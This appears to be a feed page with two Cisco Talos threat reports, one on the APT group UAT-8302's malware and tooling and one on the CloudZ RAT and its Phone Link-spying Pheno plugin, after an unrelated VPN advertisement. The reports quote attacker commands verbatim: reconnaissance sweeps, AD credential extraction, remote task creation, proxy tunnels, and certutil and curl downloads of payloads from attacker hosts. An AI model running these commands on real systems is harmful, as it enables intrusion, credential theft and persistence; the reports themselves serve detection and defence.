Get Surfshark One+ with Incogni for $91.99 (reg. $500.40) and cover VPN, alerts, antivirus, and data removal.

The post What If Your Digital Footprint Could Shrink? appeared first on TechRepublic.

• Cisco Talos is disclosing UAT-8302, a sophisticated, China-nexus advanced persistent threat (APT) group targeting government entities in South America since at least late 2024 and government agencies in southeastern Europe in 2025.
• After successful compromises, UAT-8302 deploys multiple custom-made malware families that have previously been used by other known China-nexus threat actors.
• Talos discovered a .NET-based backdoor we track as “NetDraft” that is a C#-based variant of the FinalDraft/SquidDoor malware family developed and operated by Jewelbug/REF7707/CL-STA-0049/LongNosedGoblin, a cluster of China-nexus APT actors.
• Furthermore, UAT-8302 also uses an updated version of the CloudSorcerer backdoor, a malware family used in attacks against Russian government entities in 2024.
• UAT-8302 also used VSHELL and its SNOWLIGHT stager in their operations, along with a new Rust-based stager that we track as SNOWRUST.

Talos assesses with high confidence that UAT-8302 is a China-nexus advanced persistent threat (APT) group tasked primarily with obtaining and maintaining long-term access to government and related entities around the world.

Post-compromise activity consisted of information collection, credential extraction, and proliferation using open-source tooling such as Impacket, proxying tools, and custom-built malware.

Malware deployed by UAT-8302 connects it to several previously publicly disclosed threat clusters, indicating a close operating relationship between them at the very least. Overall, the various malicious artifacts deployed by UAT-8302 indicate that the group has access to tools used by other sophisticated APT actors, all of which have been assessed as China-nexus or Chinese-speaking by various third-party industry reports.

For instance, NetDraft, a .NET-based malware family deployed by UAT-8302 in South America, was also disclosed by ESET as NosyDoor, attributed to a China-nexus APT they track as LongNosedGoblin. ESET assesses that LongNosedGoblin used NosyDoor/NetDraft and other custom-made malware to target government organizations in Southeast Asia and Japan. Furthermore, as per Solar’s reporting, NetDraft was also deployed against Russian IT organizations in 2024 by Erudite Mogwai (LuckyStrike Agent).

NetDraft is likely a .NET-ported variant of the FinalDraft/SquidDoor malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049 — also another cluster of China-nexus APT actors.

Another malware family deployed by UAT-8302 is CloudSorcerer (version 3). Kaspersky disclosed that CloudSorcerer was used in attacks directed against Russian government entities in 2024.

Furthermore, two other malware families, SNAPPYBEE/DeedRAT and ZingDoor, were deployed by UAT-8302 in conjunction with each other, a tactic also highlighted by Trend Micro in 2024.

Talos’ analysis also connects more custom-made tooling that UAT-8302 used to other China-nexus or Chinese-speaking APTs:

• Draculoader: A generic shellcode loader deployed by UAT-8302, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere.
• SNOWLIGHT: A generic stager for the VSHELL malware family, used by UAT-8302. Also used by UAT-6382, who exploited a Cityworks zero-day (CVE-2025-0994) to deploy VSHELL. SNOWLIGHT has also been seen in intrusions attributed to other China-nexus APT clusters, such as UNC5174 and UNC6586.

The various connections between UAT-8302 and other China-nexus or Chinese-speaking threat actors can be visualized as:

Figure 1. UAT-8302's interconnections.

Initial compromise and reconnaissance

UAT-8302's tooling overlaps with various APT groups that have been known to exploit both zero-day and n-day exploits to obtain initial access. We assess that UAT-8302 follows the same paradigm of obtaining initial access to its victims.

Once initial access is obtained, UAT-8302 conducts preliminary reconnaissance using red-teaming tools such as Impacket:

Other reconnaissance commands may be:

ipconfig /all
certutil -user -store My
certutil -user -store CA
certutil -user -store Root
whoami
nslookup www[.]google[.]com
net use
cmd.exe /c net view /domain
cmd.exe /c systeminfo
cmd.exe /c net time /domain
cmd.exe /c nslookup -type=SRV _ldap._tcp
net group <name> /domain

 One of UAT-8302's primary goals is to proliferate within the compromised network, and therefore, the actor conducts extensive reconnaissance on every endpoint that they can access. This extended recon is scripted usually using a custom-made PowerShell script such as “whatpc.ps1”:

powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\Windows\Temp\whatpc.ps1

The script may be persisted to collect system information via a scheduled task:

cmd.exe /c schtasks /create /tn 'ReconLiteDebug' /tr 'powershell -ExecutionPolicy Bypass -WindowStyle Hidden -File c:\windows\temp\whatpc.ps1' /sc ONCE /st 08:25 /ru SYSTEM /f

cmd.exe /c schtasks /create /tn 'RunWhatPC' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 23:28 /ru SYSTEM /f

This script executes the following commands on the systems to identify them:

whoami 
whoami.exe /groups
whoami.exe /priv
net.exe user
net.exe localgroup
net.exe localgroup administrators
ipconfig.exe /all
ARP.EXE -a
ROUTE.EXE print
NETSTAT.EXE -ano
cmd.exe /c net share
cmd.exe /c wmic startup get caption,command 2>&1
nltest.exe /dclist:<domain>
net.exe user /domain
net.exe group /domain
net.exe group Domain Admins /domain
nltest.exe /domain_trusts

UAT-8302 also performs ping sweeps of the network to discover more endpoints to proliferate into:

C:/Windows/Temp/ping_scan.bat
C:/Windows/Temp/run_scan.bat
C:/Windows/Temp/nbtscan.exe

cmd.exe /Q /c (for /l %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | find TTL= && echo 192.168.1.%i is alive) > C:\Windows\Temp\alive_hosts.txt

UAT-8302 also discovers SMB shares in the network to find reachable remote shares:

cmd.exe /Q /c (for /l %i in (1,1,254) do @net use \\192.168.1.%i\IPC$ >nul 2>&1 && echo 192.168.1.%i - Port 445 is open || echo 192.168.1.%i - Port 445 is closed) > C:\Windows\Temp\portscan.txt

Scanning tools

UAT-8302 may also download and run “gogo,” a GoLang based, open-sourced automated network scanning engine written in Simplified Chinese:

curl -fsSL hxxps://github[.]com/chainreactors/gogo/releases/download/v2.14.0/gogo_windows_amd64.exe -o go.exe

Additionally, UAT-8302 uses a variety of scanning tools such as QScan, naabu and dddd  PortQry and httpx to discover services in the network:

httpx.exe -sc -title -location -f -td -r 192.168.1.1/16
httpx.exe -sc -title -location -td -r 192.168.1.1/16 -o web.txt
httpx.exe -sc -title -location -td -u 192.168.1.1/16 -o web.txt

Information collection

UAT-8302 collects a variety of information about the environment that they are operating within including Active Directory (AD) information and credentials using open-sourced tooling such as:

adconnectdump.py

A Python-based tool for Azure AD Connect/Entra ID connect credential extraction:

python.exe adconnectdump.py

Manual extraction

UAT-8302 may also directly query the AD user and computer objects to obtain information from them via PowerShell:

powershell -command Get-ADUser -Filter * -Property * | Select-Object Name, Displayname, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, homeDirectory, scriptPath

powershell -command Get-ADUser -Filter * -Property * | Select-Object SamAccountName, DisplayName, Enabled, LastLogonDate, PasswordLastSet, PasswordExpired, Description, EmailAddress, HomeDirectory, ScriptPath, @{Name='Groups';Expression={((Get-ADUser $.SamAccountName -Properties MemberOf).MemberOf | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; '}}

powershell -Command Get-ADComputer -Filter * -Property Name,DNSHostName,OperatingSystem,Description | Select-Object Name, DNSHostName, OperatingSystem, Description | Format-Table -AutoSize
powershell -Command Get-ADGroup -Filter * -Properties Members, Description | Select-Object Name, Description, @{Name='Members';Expression={ ($.Members | ForEach-Object { ($ -split ',')[0] -replace '^CN=' }) -join '; ' }}| Format-Table -AutoSize

Specific AD users of interest may also be queried using system tools such as dsmod and dsquery.

Log collection

UAT-8302 also collects event log information and the logs themselves on multiple endpoints. Logs are an excellent source of obtaining information and understanding security configurations and policies applied within a target’s environment:

powershell -Command Get-WinEvent -ListLog Security | Format-List LogName, FileSize, LogMode, MaximumSizeInBytes, RecordCount

powershell -command Get-EventLog -LogName System -Source NETLOGON -Newest 5000 | Where-Object { $_.Message -match "Administrator" }

powershell -Command chcp 437 >$null; Get-WinEvent -FilterHashtable @{ LogName = 'Security'; ID = 4768 } | Where-Object { \$_.Message -match 'Administrador' }

Audit policies are also queried extensively to obtain system logging configurations:

auditpol /get /category:Logon/Logoff

auditpol /get /category:*

UAT-8302 also collects AD snapshots using tools such as the AD Explorer tool:

ae.exe -snapshot c:\windows\temp\result.dat /accepteula

cmd.exe /C 7zr.exe a -mx=5 c:\windows\temp\r.7z c:\windows\temp\result.dat

UAT-8302 also uses a tool written in Simplified Chinese called “SharpGetUserLoginIPRP” — derived from another Chinese-language repository — which is used to extract login information from a domain controller:

C:\ProgramData\S.exe user:pass@IP -day

Proliferation through the network

UAT-8302 proliferates across various endpoints by using a combination of either Impacket- or WMI-based remote process creation:

cmd.exe /C wmic /node:IP process call create cmd.exe /c c:\programdata\e1.bat

cmd.exe /C schtasks /S IP /U username /P passwd /create /tn 'Runbat' /tr 'c:\windows\temp\run.bat' /sc ONCE /st 5:12 /ru SYSTEM /f

These BAT files are meant to execute the accompanying malware on the target systems.

Furthermore, UAT-8302 may also extract login credentials from MobaxXterm, a multi-functional and tabbed SSH client, using tools such as MobaXtermDecryptor to pivot to other endpoints.

Custom-made malware deployment

UAT-8302 deploys a variety of malware families in their intrusions including NetDraft, CloudSorcerer version 3, and VSHELL.

NetDraft

NetDraft, also known as  NosyDoor, is a .NET variant of the FINALDRAFT malware. FINALDRAFT or Squidoor is a malware family developed and operated exclusively by Jewelbug/REF7707/CL-STA-0049, a cluster of China-nexus APT actors. FINALDRAFT uses legitimate services such as MS Graph to act as command-and-control servers (C2s) to execute commands and payloads on the compromised system. Similarly, NetDraft relies on the MS Graph API to communicate with its OneDrive based C2. NetDraft is deployed using the following mechanism:

• A benign executable is used to side load a malicious dynamic-link library (DLL) based loader.
• The loader DLL decodes NetDraft from an accompanying data file and invokes it in the context of the existing process.
• NetDraft also contains an embedded, .NET-based helper library. The library is compressed and embedded using the Fody/Costura framework. During runtime, the library is decompressed and instrumented to carry out operations on the endpoint on behalf of NetDraft. We track this library as “FringePorch.”

Figure 2. NetDraft and FringePorch infection chain.

NetDraft and FringePorch support the following functionalities:

• Execute arbitrary commands on the endpoint
• Execute a .NET based assembly sent by the C2 within NetDraft’s process context
• Exit and stop execution
• Upload files to C2
• Download files from specified remote locations to local disks
• File management: Change current working directory, rename files, enumerate files, and set write times
• Sleep
• Execute a .NET plugin: This functionality is similar to its ability to run arbitrary .NET based assemblies. Here, the implant runs a provided plugin’s “Plugin.Run” function.

Since NetDraft is missing the capability to persist across reboots and relogins, one of the first commands the C2 issues to it is the creation of a malicious scheduled task:

schtasks /create /ru system /tn Microsoft\Windows\Maps\{a086ff1e-d6dc-45f7-b3e4-6udknw82sa} /sc hourly /mo 2 /tr 'C:\ProgramData\Microsoft\Microsoft\Appunion.exe' /F

CloudSorcerer v3

Another malware UAT-8302 deploys is the latest version of the CloudSorcerer backdoor (version 3).  The malware consists of the side-loading triad of files: a benign executable, a malicious DLL-based loader, and the actual implant in a data file:

Yandex.exe -r -p:test.ini -s:12

VMtools.exe -r -p:VM.ini -s:12

The executables will sideload a DLL named “mspdb60[.]dll”, which will load and decrypt the “.ini” file specified in the command line — such as “test.ini” or “vm.ini”. The decrypted shellcode is then injected into a combination of specified benign processes.

CloudSorcerer v3 – The decrypted shellcode

The decrypted INI file is a newer version of CloudSorcerer (v3) disclosed by Kaspersky in 2024. Depending on process name (where it may have been initiated or injected), CloudSorcerer v3 will perform one of the following actions:

• If the process is named “dpapimig.exe”, then it will gather system information, inject itself into explorer.exe, and receive command codes from the C2 via a named pipe, gather disk information, enumerate files, execute arbitrary commands, perform file operations (delete, rename, read, write, etc.) and execute shellcode received via the named pipe.
• If the process is named “spoolsv.exe”, then it will contact GitHub to obtain C2 information and receive commands from the C2.
• If the process is named “mspaint.exe”, “browser”, or anything else, it will proceed to inject itself into dpapimg.exe, spoolsv.exe, etc. to kick off its malicious operations.

The system information CloudSorcerer v3 collects includes computer name, username and local system time.

Obtaining C2 information

Like CloudSorcerer v2, version 3 contacts a legitimate service to obtain the C2 information. The malware will either contact a specific GitHub repository to read a data blob, or read a GameSpot profile the threat actors set up.

The data blob is decoded to obtain the C2 information, which can exist in the one of the following formats depending on the variant of the CloudSorcerer backdoor:

• A C2 URL for a domain or IP, controlled by UAT-8302, that the malware uses to begin communication with the C2 to carry out malicious operations
• An access token to a legitimate service (such as OneDrive or Dropbox) that UAT-8302 uses to act as its C2 infrastructure to obtain next-stage payloads and commands

VSHELL, SNOWLIGHT and SNOWRUST

In other instances, UAT-8302 deploys the VSHELL malware via a slightly different triad of artifacts for side-loading malware. The benign executable side-loads a malicious DLL named “wininet[.]dll” that reads a BIN file and injects it into “explorer[.]exe”.

The payload is position-independent shellcode that is injected into explorer[.]exe. The payload is a stager for the VSHELL malware that downloads and single-byte XORs the obtained payload with the key 0x99. The decoded payload is a garbled version of VSHELL.

It is worth noting that Talos observed the same single byte key and stager being used by UAT-6382 to deliver VSHELL malware in early 2025. Further investigation revealed that this stager is in fact SNOWLIGHT, a lightweight downloader that can download and deploy a next stage payload. UNC5174 has been observed using SNOWLIGHT to download Sliver and VSHELL. UNC5174 is a suspected China-nexus threat actor that typically exploits zero-day and n-day vulnerabilities to gain access to critical infrastructure organizations in the Americas.

Talos discovered that UAT-8302 also used a Rust based variant of SNOWLIGHT that we track as “SNOWRUST.” SNOWRUST is based on the LexiCrypt Rust-based shellcode obfuscator. SNOWRUST simply decodes the embedded SNOWLIGHT shellcode and executes it to download the XOR encoded final payload, VSHELL, received from the C2.

In one intrusion, UAT-8302 used VSHELL to deploy a native driver from the Hades HIDS/HIPS software — an open-source Windows host monitoring kernel framework written in Simplified Chinese. The driver was specifically the System Monitoring filter driver that lets Hades register callbacks for process, thread, registry, and file events. This allows the driver to monitor the system and potentially allow, block, or hide events and artifacts.

The SNAPPYBEE/DeedRAT and ZingDoor combo

In one instance, UAT-8302 first deployed a RAT family known as DeedRAT/SNAPPYBEE. However, UAT-8302 almost immediately switched over to a DLL-based malware family known as ZingDoor, first disclosed by Trend Micro in 2023, which has attributed both DeedRAT and ZingDoor to the China-nexus threat actor Earth Estries.

ZingDoor has also been deployed after the successful exploitation of ToolShell in 2025 by China-nexus threat actors.

In parallel, UAT-8302 also deployed Draculoader, a generic shellcode loader, also used by the Earth Estries and Earth Naga APT groups who have histories of targeting government agencies in Southeast Asia and elsewhere:

C:\Documents and Settings\All Users\Microsoft\Crypto\RSA\d3d8.dll

Setting up additional means of backdoor access

Once UAT-8302 deploys their custom-made malware, they begin establishing other means of backdoor access. One of the techniques used is setting up proxy servers on infected systems to tunnel traffic outside the enterprise to the infected hosts using tools such as Stowaway (another tool written in Simplified Chinese):

c:\windows\system32\wagent.exe -c 85[.]209[.]156[.]3:56456
  
cmd.exe /c (echo @echo off && start c:\windows\temp\mmc.exe -l 85[.]209[.]156[.]3:56456 -s <pass> && echo exit) > c:\windows\temp\trun.bat
  
ag531.exe -c 45[.]135[.]135[.]100:443 -s <blah> -f AgreedUponByAllParties

UAT-8302 may use other tools such as anyproxy to set up proxies within the infected enterprise’s network:

c:\users\public\any.exe

Furthermore, we observed UAT-8302 deploying the SoftEther VPN clients as well:

certutil -urlcache -split -f hxxp://38[.]54[.]32[.]244/Rar.exe rar.exe
  
rar.exe x glb.rar
  
Communicator.exe /usermode

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Loader.CloudSorcerer-10059633-0
• Win.Loader.CloudSorcerer-10059634-0
• Win.Malware.CloudSorcerer-10059635-0
• Win.Tool.dddd-10059636-2
• Win.Tool.dddd-10059637-0
• Win.Loader.Donut-10059638-0
• Win.Loader.Draculoader-10059639-0
• Win.Tool.gogo-10059640-0
• Win.Tool.gogo-10059641-0
• Ps1.Tool.Microburst-10059642-0
• Win.Tool.Mobaxtermdecryptor-10059643-0
• Win.Malware.Netdraft-10059644-0
• Win.Malware.Netdraft-10059645-0
• Win.Malware.Netdraft-10059646-0
• Win.Malware.Netdraft-10059647-0
• Win.Malware.Snappybee-10059648-0
• Win.Malware.Snappybee-10059649-0
• Win.Malware.Snappybee-10059650-0
• Win.Malware.Snappybee-10059651-0
• Win.Malware.Snappybee-10059652-0
• Win.Malware.Snappybee-10059653-0
• Win.Malware.Snowrust-10059654-0
• Win.Malware.Agent-10059655-0
• Win.Malware.Stowaway-10059656-0
• Win.Malware.Stowaway-10059657-0
• Win.Loader.Agent-10059658-0
• Win.Malware.Agent-10059659-0
• Win.Malware.Agent-10059660-0
• Win.Loader.Agent-10059661-1
• Win.Malware.Agent-10059662-0

The following Snort Rules (SIDs) detect and block this threat:

• 66055, 66054, 301437, 301436, 301435, 301434, 301433, 301432, 301431
• 66052, 66053, 66050, 66051, 66048, 66049, 66046, 66047, 66044, 66045, 66042, 66043, 66040, 66041

Indicators of compromise (IOCs)

IOCs for this threat are also available on our GitHub repository here.

NetDraft, FringePorch

1139b39d3cc151ddd3d574617cf113608127850197e9695fef0b6d78df82d6ca
Ee56c49f42522637f401d15ac2a2b6f3423bfb2d5d37d071f0172ce9dc688d4b
51f0cf80a56f322892eed3b9f5ecae45f1431323600edbaea5cd1f28b437f6f2

 VSHELL

35b2a5260b21ddb145486771ec2b1e4dc1f5b7f2275309e139e4abc1da0c614b
199bd156c81b2ef4fb259467a20eacaa9d861eeb2002f1570727c2f9ff1d5dab

 ZingDoor

071e662fc5bc0e54bcfd49493467062570d0307dc46f0fb51a68239d281427c6

 Gogo

E74098b17d5d95e0014cf9c7f41f2a4e4be8baefc2b0eb42d39ae05a95b08ea5
2b627f6afe1364a7d0d832ccba87ef33a8a39f30a70a5f395e2a3cb0e2161cb3

 Stowaway

7c593ca40725765a0747cc3100b43a29b88ad1708ef77e915ab02686c0153001
F859a67ceebc52f0770a222b85a5002195089ee442eac4bea761c29be994e2ea

 anyproxy

7d9c70fc36143eb33583c30430dcb40cf9d306067594cc30ffd113063acd6292

  QScan

1bb59491f7289b94ab0130d7065d74d2459a802a7550ebf8cd0828f0a09c4d38

 Draculoader

843f8aea7842126e906cadbad8d81fa456c184fb5372c6946978a4fe115edb1c

 Dddd

343105919aa6df8a75ecb8b06b74f23a7d3e221fca56c67b728c50ea141314bc

 Httpx

4109f15056414f25140c7027092953264944664480dd53f086acb8e07d9fccab

 SoftEther VPN

3dec6703b2cbc6157eb67e80061d27f9190c8301c9dd60eb0be1e8b096482d7e

 SharpGetUserLogin

9f115e9b32111e4dc29343a2671ab10a2b38448657b24107766dc14ce528fceb
B19bfca2fc3fdabf0d0551c2e66be895e49f92aedac56654b1b0f51ec66e7404

 Naabu

45cd169bf9cd7298d972425ad0d4e98512f29de4560a155101ab7427e4f4123f

 PortQry

Fb6cebadd49d202c8c7b5cdd641bd16aac8258429e8face365a94bd32e253b00

  

Network IOCs

hxxps[://]www[.]drivelivelime[.]com
hxxps[://]www[.]drivelivelime[.]com/x
hxxps[://]www[.]drivelivelime[.]com/pw
www[.]drivelivelime[.]com
 
hxxps[://]msiidentity[.]com
hxxps[://]msiidentity[.]com/pw
msiidentity[.]com
 
hxxp[://]trafficmanagerupdate[.]com/index[.]php
trafficmanagerupdate[.]com
 
image[.]update-kaspersky[.]workers[.]dev
update-kaspersky[.]workers[.]dev
 
85[.]209[.]156[.]3
85[.]209[.]156[.]3:56456
85[.]209[.]156[.]3:46389
hxxp[://]85[.]209[.]156[.]3:8080/wagent[.]exe
hxxp[://]85[.]209[.]156[.]3:8082/wagent[.]exe
 
 
185[.]238[.]189[.]41
hxxp[://]185[.]238[.]189[.]41:8080          
 
103[.]27[.]108[.]55
hxxp[://]103[.]27[.]108[.]55:48265/
 
hxxp[://]38[.]54[.]32[.]244/Rar[.]exe
38[.]54[.]32[.]244
 
45[.]140[.]168[.]62
88[.]151[.]195[.]133
156[.]238[.]224[.]82
45[.]135[.]135[.]100

• Cisco Talos discovered an intrusion, active since at least January 2026, where an unknown attacker implanted a CloudZ remote access tool (RAT) and a previously undocumented plugin called “Pheno.”
• According to the functionalities of the CloudZ RAT and Pheno plugin, this was with the intention of stealing victims’ credentials and potentially one-time passwords (OTPs). 
• CloudZ utilizes the custom Pheno plugin to hijack the established PC-to-phone bridge by abusing the Microsoft Phone Link application, allowing the plugin to continuously scan for active Phone Link processes and potentially intercept sensitive mobile data like SMS and OTPs without deploying malware on the phone. 
• CloudZ evades detection by executing critical malicious functions dynamically in system memory and performing checks to avoid debuggers and sandbox environments. 

Attacker abuses the Windows Phone Link application 

Windows Phone Link (formerly "Your Phone") is a synchronization tool developed by Microsoft and built directly into Windows 10 and 11 that bridges a PC and a smartphone (Android or iPhone). By establishing a secure connection via Wi-Fi and Bluetooth, the application mirrors essential phone activities (such as application notifications and SMS messages) onto the computer screen, reducing the user’s need to physically interact with the mobile device while working on the computer. The Phone Link application writes synchronized phone data such as SMS messages, call logs, and the application notification history to the Windows PC in the application’s SQLite database file. 

Talos observed that during an intrusion, an attacker attempted to abuse the Windows Phone Link application using the CloudZ RAT and its Pheno plugin. The Pheno plugin is designed to monitor an active PC-to-phone bridge established by the Phone Link application on the victim machine. With a confirmed Phone Link activity on the victim's machine, the attacker using the CloudZ RAT can potentially intercept the Phone Link application’s SQLite database file (e.g., “PhoneExperiences-*.db”) on the victim machine, potentially compromising SMS-based OTP messages and other authenticator application notification messages. 

Intrusion summary of CloudZ infection 

Talos discovered from telemetry data that the intrusion had begun with an unknown initial access vector to the victim's environment, which led to the execution of a fake ScreenConnect application update executable. This malicious executable drop and executes an intermediate .NET loader executable, which subsequently deploys the modular CloudZ on the victim’s machine. Upon execution, the RAT decrypts its configuration data, establishes an encrypted socket connection to the command-and-control (C2) server, and enters its command dispatcher mode.   

CloudZ facilitates the C2 commands to exfiltrate credentials from the victim machine browser data, and it downloads and implants a plugin. The plugin performs reconnaissance of the Microsoft Phone Link application on the victim machine and writes the reconnaissance data to an output file in a staging folder. CloudZ reads back the Phone Link application data from the staging folder and sends it to the C2 server. 

Rust-compiled executable used as a dropper 

Talos discovered a Rust-compiled 64-bit executable, disguised with file names such as “systemupdates.exe” or “Windows-interactive-update.exe”, functioning as a loader. The malicious loader was compiled on Jan. 1, 2026, and has the developer string of rustextractor.pdb. 

When the loader is run on the victim machine, it decrypts and drops an embedded .NET loader binary disguised as a text file with the file names “update.txt” or “msupdate.txt” in the folder “C:\ProgramData\Microsoft\windosDoc\”. 

In another instance, Talos observed that the .NET loader was implanted in the victim machine by downloading it from an attacker-controlled staging server using the command shown below:  

curl -L -o C:\ProgramData\Microsoft\WindowsDoc\update[.]txt hxxps[://]calm-wildflower-1349[.]hellohiall[.]workers[.]dev

The dropper executes an embedded PowerShell script to establish persistence on the victim machine through a Windows task which executes the dropped malicious .NET loader. The PowerShell script achieves it by initially performing a runtime check to determine whether the dropped .NET loader is already active on the system. It queries all running processes using the Get-CimInstance Win32_Process command and filters for any instance of regasm.exe with the command line parameters that include the string update.txt. If such an instance is found, the script silently exits without taking any action. 

If the check indicates that the .NET loader is not running, the script proceeds to establish persistence by creating a scheduled task named SystemWindowsApis in the scheduled task folder \Microsoft\Windows\. It configures the task to trigger at system startup /sc onstart, execute under the SYSTEM account /ru SYSTEM with the highest privilege level /rl HIGHEST, and the /f flag ensures it will silently overwrite any existing task with the same name, allowing the malware to update its persistence mechanism. The script configures the task scheduler action to run the .NET loader by utilizing the living-off-the-land binary (LOLBin) regasm.exe, which is the .NET Framework Assembly Registration Utility located at “C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\”. It provides the path of the dropped .NET loader as the argument to regasm.exe with the /nologo flag. After creating the task, the script immediately triggers it with schtasks /run, ensuring it executes immediately and survives future reboots. 

.NET loader implants the CloudZ RAT 

Talos found that the attacker embedded CloudZ, an encrypted .NET-compiled RAT, in the .NET loader executable. 

When the .NET loader is triggered through the Windows task scheduler, it performs the detection evasion checks beginning with a timing-based evasion check, where it calculates the actual elapsed time of a sleep command to detect if it is executed in the analysis environment. It then performs enumeration of running processes in the victim machine against a list of security tools, including network sniffers like Wireshark and Fiddler, as well as system monitors like Procmon and Sysmon. The .NET loader exits the execution if these are detected in the victim environment. 

The loader then conducts hardware and environment checks to identify virtual machine (VM) or sandbox characteristics. It verifies that the system has at least two processor cores and searches for strings like “VIRTUAL” or “SANDBOX” within the system directory path, computer name, user domain, and the current victim username.  

The loader executable is embedded with multiple chunks of the hexadecimal strings in the binary, which are concatenated sequentially during the execution, reassembling a massive hexadecimal data blob. The loader converts the hexadecimal strings to bytes and performs bytewise XOR decryption using the key hexadecimal (0xCA). If the decrypted payload is a .NET assembly, the loader will reflectively run. Otherwise, it writes the decrypted payload to the folder “%TEMP%\{GUID}” and runs it as a process.  

Modular CloudZ RAT delivered as payload 

Talos discovered that a CloudZ, a modular RAT, is delivered as the payload in the current intrusion. CloudZ is a .NET executable compiled on Jan. 13, 2026, and is obfuscated with ConfuserEx obfuscation.  

CloudZ employs layers of defense against the analysis environments and reverse engineering. It queries the _ENABLE_PROFILING environment variable via GetEnvironmentVariable Windows API to detect whether a .NET profiler or debugger is attached to the RAT process on the victim machine. It uses the .NET method “System.Reflection.Emit.DynamicMethod” combined with “ILGenerator” method to create the executable functions dynamically during the RAT execution. 

The operation of CloudZ utilizes its configuration data, which is embedded in the binary, as a resource that it decrypts and loads into memory during execution. The decrypted configuration data includes various C2 commands, PowerShell scripts for data archive extraction, multiple file download methods, paths and names of staging folders, multiple HTTP headers, and the URLs of the staging servers. 

After the decryption of the configuration data, CloudZ decodes the Base64-encoded strings to get the URL of the staging server where the secondary configuration is stored.  

Talos found that the RAT downloads and processes secondary configuration data through the URLs “hxxps[://]round-cherry-4418[.]hellohiall[.]workers[.]dev/?t=1773406370” or "https[://]pastebin[.]com/raw/8pYAgF0Z?t=1771833517" and extracts the C2 server IP address “185[.]196[.]10[.]136” and port number 8089, establishing connections through TCP sockets. 

Pivoting on the Pastebin URL indicator, we found that the attacker used the Pastebin handler name “HELLOHIALL” and hosted the secondary configuration data at several Pastebin URLs.  

The RAT rotates between three hardcoded user-agent strings to blend its HTTP traffic with the legitimate browser requests of the victim machine. Every HTTP request includes anti-caching headers consisting of “Cache-Control: no-cache, no-store, must-revalidate", “Pragma: no-cache", and “Expires: 0”, which prevents intermediate proxies and CDN infrastructure from caching C2 or the staging server details.  

User-agent headers used by the CloudZ are: 

• Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 
• Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 

After the RAT establishes the C2 connection, it enters the command dispatcher module that relies on a decrypted configuration data loaded into memory. The configuration data contains Base64-encoded command identifiers which the RAT matches against the commands received from the C2 server to perform the several functionalities. The commands facilitated by CloudZ are shown in the table below: 

Base64-encoded command	Decoded command	Purpose
cG9uZw==	pong	Heartbeat response
UElORyE=	PING!	Heartbeat request
Q0xPU0U=	CLOSE	Terminate RAT process
SU5GTw==	INFO	collects OS edition, architecture, and hardware details from the victim machine
UnVuU2hlbGw=	RunShell	Execute shell command
QnJvd3NlclNlYXJjaA==	BrowserSearch	Browser data exfiltration
R2V0V2lkZ2V0TG9n	GetWidgetLog	Phone Link recon logs and data exfiltration
cGx1Z2lu	plugin	Load plugin
c2F2ZVBsdWdpbg==	savePlugin	Save plugin to disk at the staging directory C:\ProgramData\Microsoft\whealth\
c2VuZFBsdWdpbg==	sendPlugin	Upload Plugin to C2
UmVtb3ZlUGx1Z2lucw==	RemovePlugins	Remove all deployed plugin modules
UmVjb3Zlcnk=	Recovery	Recovery or reconnect routine
RFc=	DW	Download and write file operations
Rk0=	FM	File management operations – deletefile
TE4=	LN	Unknown
TXNn	Msg	Send message to C2
RXJyb3I=	Error	Error reporting back to C2
cmVj	rec	Screen recording

The RAT employs various methods to download and execute the plugins. The plugin download feature of RAT uses a three-method fallback approach. It first checks for the presence of the curl utility. If found, it attempts to download the file from a specified URL to a target path while following redirects. If curl is missing or the command fails, it falls back to PowerShell, where it first tries to download the file using the Invoke-WebRequest command. If that method also fails, it executes a final method that uses the LOLBin“bitsadmin” tool to download and save the plugin payloads to the victim machine.  

Talos observed from the telemetry data that the attacker has downloaded and implanted the Pheno plugin through the curl command from the staging server. 

curl -L -o C:\Windows\TEMP\pheno.exe hxxps[://]orange-cell-1353[.]hellohiall[.]workers[.]dev/pheno.exe

Pheno plugin to perform the Phone Link application recon 

In this intrusion, Talos observed that the attacker used a plugin called Pheno to perform reconnaissance of the Windows Phone Link application in the victim machine.  

Pheno is designed to detect if a user is currently syncing their mobile device to a Windows machine through the Phone Link application. It scans all running processes for specific keywords such as "YourPhone," "PhoneExperienceHost," or "Link to Windows," and if matches are found, it logs their Process IDs and file paths to the files with the filename “phonelink-<COMPUTERNAME>.txt”, created in two staging folders such as : 

•  C:\programdata\Microsoft\feedback\cm 
•  %TEMP%\Microsoft\feedback\cm 

After checking Phone Link processes and writing its results, Pheno executes a secondary check that reads back the contents of previously written files and searches the keyword "proxy" in a case-insensitive manner. The plugin conducts this check because the Microsoft Phone Link application creates a local proxy connection to relay traffic between the PC and the paired mobile device. The presence of "proxy" in the output files, whether generated by a previous execution of the pheno plugin, indicates that the Phone Link session is actively routing traffic through its relay channel.  

When the keyword is detected, the pheno plugin writes "Maybe connected" to its output file in the staging folders, which eventually allows the attacker, with the help of CloudZ RAT, to potentially monitor SMS or OTP requests that appear on the Phone Link application. 

Coverage

The following ClamAV signature detects and blocks this threat: 

• Win.Packed.Msilheracles-10030690-0 
• Win.Trojan.CloudZRAT-10059935-0 
• Win.Trojan.CloudZRAT-10059959-0 

The following Snort Rules (SIDs) detect and block this threat: 

• Snort 2: 66409, 66410, 66408 
• Snort 3: 301492, 66408 

Indicators of compromise (IOCs) 

The IOCs for this threat are available at our GitHub repository here.

